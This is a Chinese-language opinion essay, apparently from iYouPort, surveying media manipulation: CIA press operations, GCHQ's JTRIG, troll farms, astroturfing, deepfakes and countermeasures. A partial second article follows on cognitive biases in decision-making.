这种被植入的报道可能会被其他报纸和其他第三方所转载、并进一步扩散传播，形式略有改变，甚至被当成真正的新闻报道，然后由其他记者改写。

媒体间的*唯渠道转载*被利用来制造秘密的宣传攻势。

唯渠道转载指的是，比如一家知名媒体A独家报道了一个故事，其他媒体就可以迅速跟进并引述“知名媒体A报道说”；但是如果该报道的记者和编辑是被CIA控制的呢，其他媒体并没有兴趣了解这件事，因为它们没有核查的责任。

这件事更有意思的地方也在于其迅速传播的能力，正因此中央情报局为塑造公众舆论而制定的虚假宣传可能会变成回旋器并污染中情局自己的信息档案。

McGehee 根据自己的工作经验给出的一个例子是，中央情报局在1965年制作的一个关于海上向越共支援武器的故事。中央情报局“从自己的仓库中拿走了大量共产党制造的武器，将它们装在越南沿海船只上，然后打电话给记者……以’证明’北越对越共的援助”。

这个故事迅速得到了其他新闻媒体的转载报道，以至于海军陆战队后来开始在海岸巡逻，以拦截早先“发现”的那种违禁品。[Ralph W. McGehee, “Deadly Deceits: My 25 Years in the CIA” (Sheridan Square; Ocean Press 1983, 1999), ISBN1–876175–19–2]

此举是信息战中最常见的操作，我们将来会有更多详细介绍，媒体在信息战中被作为重要武器之一而利用，其中企业媒体（主流媒体）是重灾区，因为他们的流程要求他们的记者不去质疑当权者的话。[具体分析详见《媒体，你真的知道什么是事实吗？》]

2、秘密行动

中央情报局利用本国和外国的大众媒体资产进行秘密行动。

1973年，“华盛顿星报”报道称，中央情报局已经招募了30多名在国外工作的美国记者。把记者当间谍用。 [“U.S. Journalists Doubling as CIA Agents, Paper Says”. Los Angeles Times. 1973–11–30.]

由此，1975年至1976年出现了一系列国会调查，包括中央情报局与记者的关系，审查了各种中央情报局的行动。

对于外国新闻媒体，报告的结论是：

> 中央情报局目前在世界各地拥有数百名外国人的网络，他们为中央情报局提供情报，有时还试图通过秘密宣传来影响舆论。

对于国内媒体，报告指出：

> 大约50个所谓的情报资产是美国个人记者或媒体组织的雇员。其中，只有不到一半的人被媒体机构“认证”……其余的人都是非认证的自由撰稿人和驻海外媒体代表……有十多家美国新闻机构和商业出版社以前曾为国外的中情局特工提供庇护。其中一些组织没有意识到自己在做什么。[Church Committee Final Report, Vol 1: Foreign and Military Intelligence, p. 455]

记者 Carl Bernstein 在1977年10月滚石杂志的一篇文章中也指出了一些与中情局合作的记者名字 —— “400多名美国记者在过去二十五年中秘密为中央情报局执行任务”。[The article, The CIA and the Media”, is available on Bernstein’s website.]

与中央情报局合作的其他媒体组织包括美国广播公司、国家广播公司、美联社、联合新闻国际、路透社、赫斯特报业、斯克里普斯—霍华德、新闻周刊杂志、迈阿密先驱报、纽约先驱论坛报……还有其他，详见上面的链接。

在这里看到一个详细案例的解释《冷战故事 ~ CIA 如何操纵媒体影响舆论：Mockingbird 行动》。

另见《什么是秘密行动》（包含当局对反对派团体的渗透行动）。

3、影响海外舆论

中情局敦促其外站使用其“宣传资产”来反驳那些不同意Warren报告的人。[“Cable Sought to Discredit Critics of Warren Report” (PDF), *New York Times*: A3, 26 December 1977, retrieved 2013–11–27]

中央情报局总部在1967年4月的一次调度说：“阴谋论经常引出对我们组织的怀疑，例如错误地声称 Lee Harvey Oswald 为我们工作。这项调度的目的是提供反对和诋毁阴谋论家的主张的材料，以阻止在其他国家传播此类主张。”[Lee Harvey Oswald 被认为是肯尼迪遇刺案的

主凶]

该机构指示世界各地的电视台“与可合作的精英联系，特别是政治家和编辑，以讨论宣传问题”、并 “利用宣传资产来回答和驳斥批评者的攻击。并指出，书评和专题文章特别适合于这个目的。”[http://jfkfacts.org/wp-content/uploads/2013/11/Countering-Warren-critics-040167.pdf]

4、利用娱乐业

在20世纪90年代中期，中央情报局任命 Chase Brandon，一名被分配到南美的运营官员，作为好莱坞的联络人。[Patterson, John (5 October 2001), “Hollywood reporter: The caring, sharing CIA: Central Intelligence gets a makeover”, *The Guardian*]

Brandon 的电影作品包括“招募”，“所有恐惧的总和”，“国家的敌人”，“坏公司”、和“间谍公司”等；还曾为电视节目包括 The Agency、Alias 和 JAG 提供咨询。[*CIA operative Chase Brandon*, archived from the original on 2005–11–24, retrieved 2008–03–27]

中央情报局提供援助的电影包括1992年汤姆克兰西小说的电影版“爱国者游戏”、和2003年的电影“新兵”等。

2012年，Tricia Jenkins 出版了一本书，《好莱坞的中央情报局：电影和电视如何被该机构塑造》，进一步记录了中央情报局从20世纪90年代到现在，通过娱乐媒体操纵宣传的努力。

该书解释说，中央情报局已经使用电影来促进招募，加强自己的形象，甚至通过虚假宣传活动。[TY—BOOK T1—The CIA in Hollywood: How the Agency Shapes Film and Television A1—Jenkins, Tricia PY—2012 PB—University of Texas Press CY—Austin SN—9780292737075 UR—https://muse.jhu.edu/book/14683ER -]

显然，这些方法都是非常简单的。中国读者应该能理解到，即便中宣部和广电总局全解散了，也并不意味着宣传战就此结束。

互联网操纵 ——

「图」

在媒体操控的所有方式中，目前最常用的手段之一就是互联网操纵。

就如我们在同名类目简介中所注明的：监视是为了操纵，不只是失去隐私那么简单。监视就内嵌在这个互联网里，不可能真正剔除；监视者利用技术手段施加的操控如今已经随处可见。

这种操纵可以用于宣传、诋毁、损害企业或政治竞争对手、改善个人或品牌的声誉、或简单的 **trolling** 等目的。为了实现这些目标，可以使用在线影响力者、雇佣的专业人员和/或软件技术 —— 通常是互联网/社交媒体机器人。

这种社交工程手段被称为认知黑客，指的是旨在改变用户感知和相应行为的网络攻击。[“Cognitive Hacking” (PDF). 2003. Retrieved 4 February2017.; Thompson, Paul (2004). “Cognitive hacking and intelligence and security informatics” (PDF). Enabling Technologies for Simulation Science VIII. **5423**: 142–151. doi:10.1117/12.554454. Retrieved 4 February 2017.]

互联网操纵有时也被用来描述选择性的互联网审查、或违反网络中立性。

这种操纵手段之所以能在互联网上最成功，是因为以下几个因素：

- 激烈的情绪病毒：很多研究发现，唤起激烈的情绪（例如敬畏、愤怒或焦虑）的内容更具病毒性传播效力，并且当考虑到惊讶、有兴趣或有用时，这也是有效的。
- 越简单越好：为复杂环境提供的简单解释经常被用于在线宣传的操作。通常这样比较容易被人们相信，并且具有比任何复杂、细致入微的解释和信息更高速的病毒性传播能力。简单说，你在互联网上审慎思考是不会有影响力的。
- 同伴影响：网络内容的先前集体评论会影响一个人对该内容的看法。你也能意识到这点，人们喜欢看评论来理解正文，而不是自己去读正文。2015年的研究表明，在线环境中人们对艺术作品的感知因外部影响而有所不同，因为同盟评级受到实验参与者的意见和可信度的操纵。reddit 上的“滚雪球投票”原理也是如此。
- 过滤气泡：网站管理员或主持人可能会通过修改观点、或建立某些规则、或通过在线圈子或互联网“部落”的形式来创建回音壁和过滤气泡。详见我们对此做过的详细分析《社交媒体的隧道生态和心理操控》
- 确认偏误和受控制的流行程度：假新闻不需要被阅读，仅仅通

过其标题和情绪刺激就可以对足够大的受众面产生影响。有读者曾询问为什么IYP经常不采取能完整呈现文章内容的标题，答案就是这个原因，因为前者方式是假消息最爱使用的。
- 信息的时效性和不可纠正性：人们是倾向于先入为主的，并且互联网的新闻周期非常短，当损害已经达成时，澄清和对假消息的揭露通常会因迟到而基本无效。IYP此前在《人格暗杀和抹黑运动》中对此有过强调。人格谋杀采取的都是虚无缥缈的不可证信息，并无切实证据，但是通常不会被质疑，正是这个原因。辟谣几乎没有用。
- 心理定位：社交媒体活动和其他数据均可用于针对性分析人的个性并预测他们的行为和偏好。这就是*军事工业综合体*的目标 —— 监视资本主义作为反乌托邦的工具。Michal Kosinski 博士就开发了这样一个程序，通过社交媒体操纵选民、以间接操纵政治。[“Ich habe nur gezeigt, dass es die Bombe gibt”. Das Magazin. 3 December 2016. Retrieved 30 April 2017] 此处详见早前的分析《看不见的独裁》

算法专制、回音壁和极化 ——

在线资源的激增曾经一度被认为是媒体多元化的有利基础，但是，社交网络平台和搜索引擎使用不透明的算法为用户提供基于个人偏好的个性化体验，其结果是，不仅没能多元化，反而高度部落化了，限制了人们对不同观点和新闻的接触。这通常被称为“回声壁”和“过滤气泡”。

在算法专制的世界里请谨记这一道理：你能看到的东西基本是他们想让你看到的东西；没有人能知道自己不知道什么。

在算法的帮助下，过滤气泡通过给人以广泛共享特定观点或表现形式的虚假印象，借以影响用户的选择和对现实的感知。

这种操纵一直存在，然而却直到2016年英国脱欧和美国总统选举投票之后，才引起了人们的关注。但是，却一度被主流媒体和收钱说话的所谓学者简单地解释为民粹 —— 也就是希望将真正复杂的全球性新专制问题简略为一两名政客的个人问题。这本身就是一种欺骗行为。[符合上述五种因素之二：越简单越容易被信任的效应]

来自 Flaxman、Goel 和 Rao、Pariser 和 Grömping 的研究表明，使用社交媒体和搜索引擎往往会增加而不是减少个体之间的意识形态距离，形成更严重的极化 —— 这就是为什么互联网上极难促成民主辩论。民主基于批判性思考和协商，算法专制下没有这个条件。

[Flaxman, Seth, Sharad Goel, and Justin M. Rao. 2016. Filter bubbles, echo chambers, and online news consumption. Public Opinion Quarterly 80 (S1): 298–320.]

密歇根大学的研究人员进行的一项研究表明，个人自己的选择会反过来推动算法过滤，从而限制对一系列内容的曝光。即便假设算法本身不会导致极化，它们也可以在最大程度上放大极化。

—— 军事工业综合体对媒体操控的利用 ——

「图」

对于这部分的介绍最全面的一篇报告是《互联网霸主的时间线》，我们将于8月9日发布。

英国最高情报机构政府通讯总部（GCHQ）的联合威胁研究情报小组是全球性监控体系的一部分，被斯诺登泄露的文件曝光。该机构的任务范围包括使用“肮脏的技巧”来“摧毁、否认、压制 [和] 破坏”任何政治对手。[Glenn Greenwald (2014–02–24). “How Covert Agents Infiltrate the Internet to Manipulate, Deceive, and Destroy Reputations”. The Intercept.—contains the DISRUPTION Operational Playbook slide presentation by GCHQ]

该间谍机构的核心策略包括：⚠在互联网上注入虚假材料，以破坏目标的声誉、操纵在线语话和行动，其中的方法包括向互联网发布材料并将其虚假地归因于其他人，假装成为目标的受害者可以诋毁其声誉并销毁在各种论坛上发布的“否定信息”。具体解释详见《人格暗杀和抹黑运动》。

被称为“影响”的行动，JTRIG 的工作已成为 GCHQ 2010 年运营的“主要部分”。

该部门的在线宣传工作（名为“在线隐蔽行动”）通过 Twitter、Flickr、Facebook 和 YouTube 等媒介利用“群发消息”以“推动故事”。**JTRIG** 还针对目标使用在线“假旗”操作。[“Snowden Docs: British Spies Used Sex and ‘Dirty Tricks’”. NBC News. 7 February 2014. Retrieved 7 February 2014.]

JTRIG 甚至通过修改伪造社交媒体网站上发布的消息照片，以及通过电子邮件和短信向目标的同事和邻居发送有关目标个人的“令人讨厌的信息”，强效抹黑。[“Snowden Docs: British Spies Used Sex and

‘Dirty Tricks’”. NBC News. 7 February 2014. Retrieved 7 February 2014.]

2015年6月，Glenn Greenwald 发布的NSA文件揭示了 JTRIG 隐蔽操纵在线社区工作的更多细节。

⚠此次披露揭示了“证件收集”技术，其中记者被用来散布既定的信息，并识别到曾经被操纵过的非英国记者。目前尚不清楚这些记者是否会意识到他们被操纵了。[“Snowden Docs: British Spies Used Sex and ‘Dirty Tricks’”. NBC News. 7 February 2014. Retrieved 7 February 2014.]

此外，俄罗斯经常被指控资助“trolls”在互联网上发布亲俄意见。

Internet Research Agency 因使用数百名俄罗斯人在虚假身份的掩护下在线进行政治宣传而闻名，以创造大规模支持的幻景。

使用 trolls 进行的隐蔽政治宣传是一种全球现象，这里有一篇详细报告《巨魔崛起：政府资助的网络水军正遍布全球》。

在2017年的一份报告中，Facebook 公开承认其网站被政府用于操纵其他国家的公众舆论 —— 包括在美国和法国的总统选举期间。[Solon, Olivia (27 April 2017). “Facebook admits: governments exploited us to spread propaganda”. *The Guardian*. Retrieved 30 April 2017.]

它确定了“信息运营活动”中涉及的三个主要组成部分：有针对性的数据收集、虚假内容创建和放大、包括窃取和公开非公开信息；通过虚假账户向第三方传播既定信息；并且协调虚假账户来操纵政治讨论，例如在压制一部分人的同时放大另一部分人的声音。

关于军事工业综合体的一个最典型案例，见这里《解密文件：科技产业巨头为什么能成为巨头？私有化间谍活动如何发动了认知战争？》

2016年，安德烈斯·塞普尔韦达（AndrésSepúlveda）透露，他操纵民意来装备拉丁美洲的选举。

操纵计划预算为60万美元，他领导的黑客团队窃取了竞选策略、操纵社交媒体制造虚假的热情和嘲笑浪潮，并在反对派办公室安装间谍软件，以帮助候选人 EnriquePeñaNieto 赢得大选。[“Man claims he rigged elections in most Latin American countries over 8 years”. The Independent. 2 April 2016. Retrieved 22 January 2017.]

在印度2014年大选之前，印度人民党（BJP）和国大党都被指控雇用“政治 trolls”在博客和社交媒体上进行媒体操控。

中国当局实施的“五毛水军”也是非常著名的，以加强对中国共产党的有利意见，并压制异议。

2014年12月，乌克兰新闻部发起反击俄罗斯的宣传活动，其首要任务之一是创建社交媒体账户（也称为 i-Army），并积聚乌克兰东部的居民。[Shearlaw, Maeve (2 April 2015). “From Britain to Beijing: how governments manipulate the internet”. *The Guardian*. Retrieved 4 February 2017.]

更多：《国王们的晚宴—— 这是一场看不见的政变》、《为什么技术有利于暴政？—— 一场你必须参与的政治斗争》。

2009年4月，4chan 的互联网 trolls 投票选出该网站的创始人 Christopher Poole，作为2008年*全球最具影响力人物*，由时代杂志进行的一项公开网络民意调查显示，其获得了16,794,368票。[“The World’s Most Influential Person Is…”*TIME*. April 27, 2009. Retrieved September 2, 2009.]

甚至在投票结束之前结果就受到了质疑，因为自动投票程序和手动投票填充被用来影响结果。这是一个最好玩的案例，关于伪真相如何成为了现实真相。

—— 对策 ——

「图」

毫无疑问，诸如强制实名登记和惩罚威胁等民族国家规则并不是解决在线机器人操控媒体问题的适当措施。尤其是审查，绝对会适得其反。

为了防止马太效应，Reddit 等几个网站已采取了措施，例如在指定时间内隐藏投票数。

万维网的发明者 Tim Berners-Lee 反对让极少数几家寡头公司负责决定什么是真实的主张，这是危险的，他指出，开放性才能使网络更加真实。

其实，真正的的解决方案应该是社会工作：重新重视批判性分析性思

维的培养，将“形式逻辑”作为学校的学科引入，培养公民的媒体素养和客观评价。看一个视频：

更多分析详见《为什么虚假总是能‘击败’真相？机器人水军可能不是主要原因》。

—— Astroturfing ——

「图」

Astroturfing 有时候被翻译为“草根营销”，其实并不准确，它与草根没有任何关系，正相反是伪造草根，目的是营销。它是人工创造出来的一个很有草根口碑的产品、服务或者政治观点；使其看起来好像源自草根参与者、得到基层参与者的支持。其实是假象。

术语 astroturfing 源自 AstroTurf，一种合成地毯的品牌，其设计类似于天然草，其实是塑料的。

在政治科学中，它被定义为通过帮助政治行动者找到并动员一些富有同情心的公众来寻求选举胜利或立法成功的过程，并且旨在创造一种既定的公众共识的形象。

Astroturfing 通常由大公司和政府实体资助，以影响更大面积的公众舆论。一些研究表明，**astroturfing** 的确可以做到改变公众的观点，甚至产生足够的怀疑以抑制计划内的行动。

牛津大学教授 Philip N. Howard 认为，互联网使强大的游说者和政治运动更容易激活一小群受害公民，使其在公共政策辩论中具有夸大的重要性。[Howard, Philip N. (2005). *New Media Campaigns and the Managed Citizen*. New York, NY: Cambridge University Press. pp. 93, 144. ISBN9780521612272.]

在《Grassroots for Hire: Public Affairs Consultants in American Democracy》一书中，Edward Walker 将“astroturfing”定义为欺诈（声称归因于那些未作出此类陈述的人），或称为伪装成群众运动的精英竞选。

数据挖掘专家 Bing Liu（伊利诺伊大学）估计，互联网上三分之一的消费者评论都是假的。这使得“流行情绪”和“制造舆论”之间难以区分。并且，它威胁着真正的草根运动的合法性。

George Monbiot 表示，支持 astroturfing 的角色管理软件“可能会破坏互联网作为建设性辩论论坛的角色”。[Monbiot, George (February 24, 2011). “The need to protect the internet from ‘astroturfing’ grows ever more urgent”. *The Guardian*. London, UK. Archived from the original on February 23, 2011. Retrieved February 24, 2011.]

技术 ——

Astroturfing 采用一个或多个前线团体，这些团体通常表现为服务于公共利益，而实际上是代表公司或政治赞助商。

前线团体可以通过强调少数群体的观点、灌输怀疑、推高公司赞助的专家发表的反驳意见，来抵制损害赞助商业务的立法和科学共识。

Astroturfing 也会创建似乎由消费者编写的虚假博客，实际上由商业或政治利益在背后操作。

当你发现同样是“草根”，有些话题你说出来就会被删除，而其他某些人可以长期说，并因此被拥护，这种时候就要小心 Astroturfing 了。

另一种技术是使用 sockpuppets，其中一个人在线创建多个身份以给予“草根支持”的外观假象。 Sockpuppets 可以发布关于产品的正面评论、攻击批评该组织的参与者，或者在虚假身份下发布关于竞争对手的负面评论。

可以使用角色管理软件，以便每个付费说话的博主可以轻松管理五到七十个令人信服的在线角色，而不会让他们感到困惑。[Monbiot, George (February 24, 2011). “The need to protect the internet from ‘astroturfing’ grows ever more urgent”. *The Guardian*. London, UK. Archived from the original on February 23, 2011. Retrieved February 24, 2011.]

角色管理软件可以对账户进行“做旧”，看起来不是新注册的账户，并模拟独立性，使其更具说服力，确保观众认为它们是真实的。

印第安纳大学的 Filippo Menczer 小组在2010年开发了一种软件，通过识别行为模式来检测 Twitter 上的 Astroturfing。[Ratkiewicz, Jacob; Conover, Michael; Meiss, Mark; Gonçalves, Bruno; Alessandro Flammini; Filippo Menczer (November 16, 2010). “Detecting and Tracking the Spread of Astroturf Memes in Microblog Streams”. *Proceedings of the 20th International Conference*

Companion on World Wide Web—WWW 11: *249*. *arXiv:1011.3768*. *doi:10.1145/1963192.1963301*. *ISBN978145030637*

根据英国“金融时报”的报道，在美国政治中，**Astroturfing** 是“司空见惯”的；但在欧洲是”革命性的” —— 反隐私“智囊团”欧洲隐私协会被揭露为实际上是由科技公司赞助的。[Fontanella-Khan, James (June 27, 2013). “Astroturfing takes root; Brussels”. *Financial Times*.]

2010年6月，美国空军招标“人物管理”软件，该软件要“使运营者能够从同一工作站操作多个不同的在线身份，而不必担心被复杂的对手发现。人物角色必须能够看起来像是来自世界上几乎任何地方，并可以通过传统的在线服务和社交媒体平台进行互动……”这份价值260万美元的合同被授予了 Ntrepid 公司。[“Persona Management Software. Solicitation Number: RTB220610”. Archived from the original on February 23, 2011. Retrieved October 12, 2012. “Mirror” (PDF). *Washington Post*.]

—— 搜索引擎营销 ——

「图」

搜索引擎营销允许操控者沿着他们想要的方向引导搜索结果，从而影响搜索者的认知。

企业有很多策略可以吸引客户进入他们的网站，并产生收入，如横幅广告、搜索引擎优化、和按点击付等费营销工具。这些手段经常是合法的，也是非常普遍使用的。

—— 分散注意力 ——

「图」

通常被称为“烟幕”，这种技术包括让公众关注一个对宣传者来说更便利的话题。这种特殊类型的媒体操控在流行文化中也经常被引用，足见它有多么普遍。一些例子包括：

- 电影 Wag the Dog（1997）描述了如何使观众转移注意力到另一个事件上从而忽略了最重要事件的做法。
- 在美国电视剧“纸牌屋”中，主角 Frank Underwood 发现自己被困在媒体的狂轰滥炸中，他向观众说：“当你是鲜肉时，避免被

咬的方法是杀死并抛出更新鲜的东西”。

政客们经常通过使用电视和其他媒体向人们展示自己“闪亮的一面”，从而分散公众的注意力，公众最容易被个人魅力所吸引，从而忽视了根本性的政策问题。这就是景观政治的目的。在这里看到介绍《中国政府已攀上景观政治的边缘》。

景观政治是一种更加潜移默化的转移注意力操作。转移注意力本身还有其他很多传统的操作，比如民族主义、树外敌等等。

这种技术包括通过诉诸民族主义或鼓励对外国或所有外族人的恐惧和仇恨来驳斥反对的论点。它具有重要的潜力，因为它使宣传者有权诋毁来自其他国家的任何信息。

举个例子比如：

- 问：“你怎么看待 Khokara 关于X问题的政治观点？”；答：“我认为他们在过去20年左右的时间里一切都是错的……”
- 问：“你的想法与 Falala 提出的想法非常相似。”；答：“你是否暗示 Falala 是一个比我们更好的国家？”

—— 图片和视频造假 ——

「图」

如今被称之为深度造假，详见《当恶意者掌握技术：信息战的未来究竟有多可怕？》。

在1990年，Adobe 发布了开创性的 Adobe Photoshop，这项技术以及其无数竞争对手允许用户以数字方式改变上传到该程序中的真实照片。虽然竞争服务需要一些专业知识才能使用，但Adobe 设计的 Photoshop 是格外用户友好的，任何人都可以制作。

新功能引发了新的担忧。同年，“新闻周刊”发表了一篇名为“当照片撒谎 ”的文章。正如“新闻周刊”所预测的那样，摄影操控技术上升的后果可能是灾难性的：“以中国领导人为例，去年他们曾试图阻止摄影师揭露北京大屠杀。将来，中国人或其他有意撒谎的政权甚至不会再担心摄影师曝光真相了。“

这些担忧并非完全没有价值。Fred Ritchin，前纽约时报杂志的图片编辑，现在是国际摄影学院的荣誉退休人员，他说，由于照片编辑技

术，过去几十年来对摄影的信任已经受到侵蚀。

确实，“相机永远不会说谎”的说法再也无法持续了—当最终产品被操纵时，相机可以并且经常会撒谎。然而，Ritchin 和新闻周刊所预言的真相危机还没有实现。

为什么？因为社会适应了这项技术。

回想一下1994年6月，时代杂志在月刊的封面上刊登的 OJ辛普森的照片，事实上他们已经明显编辑了这张照片，使辛普森的肤色显得比实际上更暗。更糟糕的是，“新闻周刊”刊登的是未经编辑的照片，两本杂志并排放在超市货架上。虽然时代为这一所谓的“艺术选择”做了辩护，称没有任何种族意味，但明显编辑过的照片引发了大规模的公众抗议。

警惕造假只是公众意识日益增强的一部分。多年来，时尚杂志普遍采用欺骗手段来改变封面模特的外观。封面上具有更具吸引力模特的杂志通常比那些吸引力较弱的杂志卖得好，因此编辑会修饰照片以使其更吸引公众。不幸的是，这种做法在社会中创造了一种不切实际的美丽形象，一旦被发现，卫生组织就开始公开警告这种现象所造成的危险—最明显的是饮食失调的流行。由于随后公众的强烈抗议，全国各地的家庭开始意识到了照片编辑技术及其能力。

社会警惕性是否意味着没有人会因照片造假而被欺骗并作出错误的选择了？当然不是。但是，照片造假并非造成了真相的死亡，而是对新技术的认识鼓励人们采取新的指标—例如来源的可信度—以做出关于所呈现的图像是否真实的明智决定。

结果，新闻媒体和其他照片出版商继续制定政策并就他们使用的图像做出规定，着眼于赢取受众的信任。例如，2003年，洛杉矶时报迅速解雇了一名记者因为编辑们意识到发布的一张被编辑过的图像会明显降低读者对报纸真实性的看法，这名记者对伊拉克战争的照片进行了数字化改造。

然而，现在，随着新的人工智能和机器学习技术进入市场，再次引发了“真相已死”的担忧—主要是在假新闻和虚假信息泛滥的背景下。想想看，如果有人在选举前发布了一个候选人正在收受贿赂的深度造假作品该怎么办？或者造假称美国总统宣布即将发生导弹袭击？正如斯坦福大学国际安全与合作中心国际安全研究员 Andrew Grotto 所预言的那样，“这项技术……将不可抗拒地导致民族国家攻击者在虚假宣传活动中使用，以操纵公众舆论，欺骗公众并破坏对我们机构的公信

力。“

也许更大的问题是，如果社会无法区分假视频和真实视频，那么任何人都可能对他们在视频上所做或所说的任何事采取否认：这都变成了一切皆为假新闻。

但是，谁能肯定社会对深度造假的反应不会像曾经人们对PS照片的回应那样发展？

现在，深度造假技术远非完美无缺。虽然一些假货可能看起来非常逼真，但其他假货却有明显的纰漏，可以提醒观众他们伪造的性质。与之前的 Photoshop 和数码照片编辑一样，通过手机应用程序产生的制作不良的假货可以教育观众了解这种技术的存在。当公众意识到，深度假货造成的伤害将无法实现到预期的程度。

事实上，围绕使用这项技术的新争议同样也提高了公众对该技术可以做些什么的认识。例如，“深度造假”这个词实际上来自一个 Reddit 用户，他最初开始使用这种技术来制作逼真的名人假色情视频。这种类型的内容很合理地引发了对隐私权侵犯的警惕。随着公众的强烈抗议开始加剧，该平台公开禁止深度造假社区及其网站上的任何非自愿色情内容。

与使用 Photoshop 创建不切实际的裸体图像所引起的公众强烈抗议一样，使用深度造假技术创建不恰当和彻头彻尾的令人震惊的内容将反过来使公众更加了解该技术，从而避免造成伤害。

也许最重要的是，许多政策制定者和私营公司已经开始采取措施教育公众了解深度造假的存在和其污蔑的能力。著名的立法者，如弗吉尼亚州的马克·沃纳和内布拉斯加州的本·萨斯，最近提出了一些重要的话题。Facebook 最近宣布它正在投入大量资源进行针对深度造假的识别和检测。由于非常注重教育公众关于这种技术的存在和使用，只要公众能提高认识，恶意行为者成功传播有害的深度造假视频就将更加困难。

这绝并不是说深度造假不会造成任何新的伤害或威胁。与 Photoshop 不同，如今任何拥有智能手机的人都可以使用深度造假技术，这意味着可以生成和共享更多的逼真的假货。

与20世纪90年代不同的是，今天有更多人使用互联网分享新闻和信息，以极快的速度在全球范围内传播内容，正因此，大多数观众来不及思考，只是为了寻求视觉刺激，给了假冒以广泛的空间。

但是，如果我们不采取措施来规范技术，我们就不应该认为社会会陷入欺骗和虚假信息的深渊。这项技术可以提供许多重要的好处，例如几十年前失踪儿童的成长后照片，或者为课堂上的学生们创造逼真的历史人物版本图像。

立法者不应急于起草立法，而应该回顾过去，并认识到深度造假并非一些前所未有的问题。相反，深度假货仅仅代表了历史上一直使用的一系列欺骗性视听实践中的最新技术。

只要我们理解了这一事实，我们就可以确信社会会想出一些方法来减轻隐患和威胁。

—— 最后 ——

媒体操控的目的是获取影响力，以令预期目标群体形成操控者满意的想法、行动和立场。

虽然获得影响力的手段很普遍，但其目标各不相同，从政治、经济到个人；可以包括宣传员、营销人员、民意调查员、销售人员和政治倡导者。

如果你确认自己所倡导的内容是正义的，那么就绝不可以使用虚假的媒体操控；一旦被你的对手拿到把柄，你将失去所有信誉，你所倡导的一切都将因此失去意义。

追求正义的人们能采取的最佳策略就是，用充分的证据揭露你的对手暗中采取的不正义手段，占据道德制高点，汇聚更多的支持。〇

原文

我是如何上当受骗的？ - iYouPort

战略性欺骗-识别和抵制

IYP 演示过很多攻击手段，也分析过防御办法；但有时会有读者认为某些攻击手段”过于小儿科”了，认为自己”不至于上当”。事实上没这么简单。我们每个人都会作出错误的决定，它来自我们大脑天然的弱点，与智商没有直接关系。

「图」

「图」

在每一次作出错误的决策后都会有人冲你大吼：理智一点！

你并没那么理智，我也没有，我们都有过立刻就会后悔的冲动之举，因为我们的大脑有很多相似的弱点，导致我们容易被利用而作出一些损伤自身利益的事，这与受教育程度没什么关系。于是，了解这些弱点就能在很大程度上提起警惕，以避免上当受骗。这就是本文的主题：你的决策机制哪里出了问题？

首先，在阅读之前请思考一下问题：

- 决策的好坏并不总是与我们对这个决策本身是否感到满意有关；
- 决策包含了一系列因素，例如我们的看法和情绪；
- 我们每天都在作出或大或小的决策，即便在并不具备所需的全部信息的情况下也会作出决策；
- 我们往往会不假思索地、频繁地作出有时候很致命的决策 — — 这点是攻击者最喜欢的。

决策无疑是一种特权，但也可能是一件可怕和充满压力的事。只有在极少数情况下你能清楚地知道自己的决策正确与否，大多数人时候都是在碰运气。

我们喜欢通过权衡轻重的方式来思考问题，并会清醒地考虑可能的后

果。比如你有一大堆理由购买一辆混合动力车而不是纯电动车对吗？但是，你知道，事情往往并非总是这么简单。

虽然你经常会在下意识中作出决策，但决策本身是一种非常复杂的认知过程，它一直是很多研究的主题。有适用于心理学、体育、商业、经济学、政治学的不同决策模型和理论。

我不是说你应该成为一个决策专家，但我希望能为你提供一些思考，因为这些知识是防备绝大多数攻击的关键部分。

即使是粗略地检查一下也能发现，有很多东西在影响你的决策过程和结果。如果这套文章令您感到绝望，请记者，人类 — 还有其他物种 — 的很多怪癖都归结为一个原因：生存。大脑的决策下意识以增加生存的可能性为基本要义，无论是鼓励快速思考还是在情况危急时冒险。

1、认知偏差

每个人都有认知偏差，这是正常的。认知偏差是一种思维定势，通常源于过去的经验。有时候认知偏差是好的，因为它可以使你更快更好地作出决定；然而更多时候，它会导致作出错误的决策，因为 认知偏差会妨碍你获取所有可用的信息 。

人们经常会口头禅式地叨念：认清事实！似乎在强调每个人都应该是真正理性的决策者，很遗憾，这本身就是高度理想化的。经常发生的决策过程都会被忽略事实，就如那个经典的例子：20%的肥肉和80%的瘦肉，你愿意买哪一种？

这是基于框架效应的（**framing effect**）认知偏差，指的是，你的反应取决于你的情形，或者说你的反应依赖于语境 。这很明显会给操纵者留下可以钻的空子。

而且框架效应不是唯一的认知偏差，另一种称之为“可用性启发法“的框架效应在日常生活中也是非常普遍存在的。它来自于人们用来快速进行决策的捷径，依赖于我们容易想起来的事物。

举例来说，你认为是被自动贩卖机砸死的人更多还是被鲨鱼咬死的人更多？尤其是在一个四面环海的国家里。很多人认为是后者，但事实上调查显示自动贩卖机砸死的人更多。再或者，你认为是死于恐怖分子的人更多还是死于车祸的人更多？数据显示依旧是车祸杀人更多，然而在恐怖袭击频繁登录新闻头条的时段里，很多人会认为恐袭的杀

伤力最大。

只要人们能非常快速地想起某些事，那么大脑就会倾向于高估它的频率和重要性。你可以想象这种倾向对于决策来说所造成的灾难性后果。

最后值得一提的是，还有一种认知偏差叫“确认便误”，它也是非常常见的，即 人 们倾向于寻找支持自己观点的信息，或者按照自己的观点方式来解读信息 。

比如，你认为杜宾犬是一种危险的好斗的狗，那么如果你在公园里看到一只杜宾犬在叫，你更可能认为它充满敌意而不是在嬉闹；甚至回家后你可能在网上搜索“杜宾犬伤人事件”类似的信息，而不是“杜宾犬救婴儿事件” — — 没错，这两个搜索都能给您呈现丰富的信息，但人们通常不会去搜索与自己的既有观点不一致的信息，于是，搜索引擎只是在加强人们的偏见，而不是享受信息自由提供的认知丰富（本文暂且不讨论付费SEO和集中化的搜索引擎审查）

显然，的确有一些贵宾犬性格暴躁，但并非所有贵宾犬都如此；就如反对移民的人专注于移民伤人事件，而不是本地人伤人事件，支持移民的人则相反。此外，地图炮、性别歧视和其他长期争议性话题都是如此。 信息自由在此并没有能带来任何帮助 。

「图」

「图」

2、生理状态

你困了吗？饿了吗？需要去洗手间吗？……身体状态对你的决策质量也会产生非常鲜明的影响。

研究人员发现，熬夜会导致人们倾向于作出危险的决策。因为大脑中负责快乐态度的部分会更加活跃，同时负责计算权衡可能的负面结果的部分活动力会明显下降。这意味着 当我们疲惫的时候，会高估成功的可能性，导致出现更多的冲动决策 。（Vinod Venkatraman, Scott A. Huettel, Lisa Y. M. Chuah, John W. Payne, and Michael W. L. Chee, “Sleep Deprivation Biases the Neural Mechanisms Underlying Economic Preferences,” The Journal of Neuroscience, March 9, 2011）

拉斯维加斯赌场利用这一心理弱点已经很久了。他们借助明亮的灯

